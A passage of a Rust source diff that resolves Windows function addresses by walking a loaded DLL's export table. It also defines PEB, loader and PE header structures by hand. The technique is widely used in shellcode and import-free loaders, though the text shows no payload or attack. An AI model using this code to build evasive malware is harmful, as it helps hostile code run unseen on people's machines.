(*export_dir).AddressOfNames; + let addr_of_ords = (*export_dir).AddressOfNameOrdinals; + + // iterate through each export, looking for our chosen + for i in 0..number_of_names { + let p_name_rva: *const DWORD = (dll_base as *const u8).offset((addr_of_names + i * 4) as isize) as *const _; + let p_name_index: *const WORD = (dll_base as *const u8).offset((addr_of_ords + i * 2) as isize) as *const _; + let name_index = p_name_index.as_ref().unwrap(); + let mut offset: u32 = (4 * name_index) as u32; + offset = offset + addr_of_funcs; + let func_rva: *const DWORD = (dll_base as *const u8).offset(offset as _) as *const _; + + let name_rva = p_name_rva.as_ref().unwrap(); + let curr_name = (dll_base as *const u8).offset(*name_rva as isize); + + if *curr_name == 0 { + continue; + } + if raw_eq(needle, curr_name) { + let res = (dll_base as *const u8).offset(*func_rva as isize); + return res as *const c_void; + } + } + } + + 0x11223344 as *const c_void +} + +pub fn raw_eq(s: *const T, u: *const T) -> bool +where + T: PartialEq + Default, +{ + unsafe { + // calculate the length of the first string (s) + let s_len = (0..).take_while(|&i| *s.offset(i) != T::default()).count(); + let s_slice = core::slice::from_raw_parts(s, s_len); + + // calculate the length of the second string (u) + let u_len = (0..).take_while(|&i| *u.offset(i) != T::default()).count(); + let u_slice = core::slice::from_raw_parts(u, u_len); + + // compare lengths + if s_len != u_len { + return false; + } + + // compare content + for i in 0..s_len { + // bounds check on u; shouldn't matter actually, but leaving for safety + if i > u_len { + return false; + } + + // compare each char in the string + if s_slice[i] != u_slice[i] { + return false; + } + } + + // matched + true + } +} + +// types +pub type USHORT = u16; +pub type PWCH = *mut u16; +pub type BYTE = u8; +pub type BOOL = BYTE; +pub type HANDLE = *mut c_void; +pub type PVOID = *mut c_void; +pub type ULONG = u32; +pub enum c_void {} +pub type LPSTR = *mut i8; +pub type LPCSTR = *const i8; +pub type DWORD = u32; +pub type WORD = u16; +pub type LONG = u32; +pub type ULONGLONG = u64; + +#[repr(C)] +pub struct PEB { + + pub Reserved1: [u8; 2], + pub BeingDebugged: u8, + pub Reserved2: [u8; 1], + pub Reserved3: [*mut c_void; 2], + pub Ldr: *mut PEB_LDR_DATA, + pub ProcessParameters: *mut RTL_USER_PROCESS_PARAMETERS, + pub Reserved4: [*mut c_void; 3], +} + +#[repr(C)] +struct PEB_LDR_DATA { + Length: ULONG, + Initialized: BOOL, + SsHandle: HANDLE, + InLoadOrderModuleList: LIST_ENTRY, + // ... +} + +#[repr(C)] +struct RTL_USER_PROCESS_PARAMETERS { + MaximumLength: ULONG, + Length: ULONG, + Flags: ULONG, + DebugFlags: ULONG, + ConsoleHandle: HANDLE, + ConsoleFlags: ULONG, + StandardInput: HANDLE, + StandardOutput: HANDLE, + StandardError: HANDLE, +} + +#[repr(C)] +struct LIST_ENTRY { + pub Flink: *mut LIST_ENTRY, + pub Blink: *mut LIST_ENTRY, +} + +#[repr(C)] +struct LDR_DATA_TABLE_ENTRY { + InLoadOrderModuleList: LIST_ENTRY, + InMemoryOrderModuleList: LIST_ENTRY, + InInitializationOrderModuleList: LIST_ENTRY, + BaseAddress: PVOID, + EntryPoint: PVOID, + SizeOfImage: ULONG, + FullDllName: UNICODE_STRING, + BaseDllName: UNICODE_STRING, +} + +#[repr(C)] +struct UNICODE_STRING { + pub Length: USHORT, + pub MaximumLength: USHORT, + pub Buffer: PWCH, +} + +#[repr(C)] +pub struct IMAGE_DOS_HEADER { + pub e_magic: WORD, + pub e_cblp: WORD, + pub e_cp: WORD, + pub e_crlc: WORD, + pub e_cparhdr: WORD, + pub e_minalloc: WORD, + pub e_maxalloc: WORD, + pub e_ss: WORD, + pub e_sp: WORD, + pub e_csum: WORD, + pub e_ip: WORD, + pub e_cs: WORD, + pub e_lfarlc: WORD, + pub e_ovno: WORD, + pub e_res: [WORD; 4], + pub e_oemid: WORD, + pub e_oeminfo: WORD, + pub e_res2: [WORD; 10], + pub e_lfanew: LONG, +} + +pub const IMAGE_DOS_SIGNATURE: WORD = 0x5A4D; + +#[repr(C)] +pub struct IMAGE_NT_HEADERS64 { + pub Signature: DWORD, + pub FileHeader: IMAGE_FILE_HEADER, + pub OptionalHeader: IMAGE_OPTIONAL_HEADER64, +} + +#[repr(C)] +pub struct IMAGE_FILE_HEADER { + pub Machine: WORD, + pub NumberOfSections: WORD, + pub TimeDateStamp: DWORD, + pub PointerToSymbolTable: DWORD, + pub NumberOfSymbols: DWORD, + pub SizeOfOptionalHeader: WORD, + pub Characteristics: WORD, +} + +#[repr(C)] +pub struct IMAGE_OPTIONAL_HEADER64 { + pub Magic: WORD, + pub MajorLinkerVersion: BYTE, + pub MinorLinkerVersion: BYTE, + pub SizeOfCode: DWORD, + pub SizeOfInitializedData: DWORD, + pub SizeOfUninitializedData: DWORD, + pub AddressOfEntryPoint: DWORD, + pub BaseOfCode: DWORD, + pub ImageBase: ULONGLONG, + pub SectionAlignment: DWORD, + pub FileAlignment: DWORD, + pub MajorOperatingSystemVersion: WORD, + pub MinorOperatingSystemVersion: WORD, + pub MajorImageVersion: WORD, + pub MinorImageVersion: WORD, + pub MajorSubsystemVersion: WORD, + pub MinorSubsystemVersion: WORD, + pub Win32VersionValue: DWORD, + pub SizeOfImage: DWORD, + pub SizeOfHeaders: DWORD, + pub CheckSum: DWORD, + pub Subsystem: WORD, + pub DllCharacteristics: WORD, + pub SizeOfStackReserve: ULONGLONG, + pub SizeOfStackCommit: ULONGLONG, + pub SizeOfHeapReserve: ULONGLONG, + pub SizeOfHeapCommit: ULONGLONG, + pub LoaderFlags: DWORD, + pub NumberOfRvaAndSizes: DWORD, + pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16], +} + +#[repr(C)] +pub struct IMAGE_DATA_DIRECTORY { + pub VirtualAddress: DWORD, + pub Size: DWORD, +} + +#[repr(C)] +pub struct IMAGE_EXPORT_DIRECTORY { + pub Characteristics: DWORD, + pub TimeDateStamp: DWORD, + pub MajorVersion: WORD, + pub MinorVersion: WORD, + pub Name: DWORD, + pub Base: DWORD, + pub NumberOfFunctions: DWORD, + pub NumberOfNames: DWORD, + pub AddressOfFunctions: DWORD, + pub AddressOfNames: DWORD, + pub AddressOfNameOrdinals: DWORD, +} \ No newline at end of file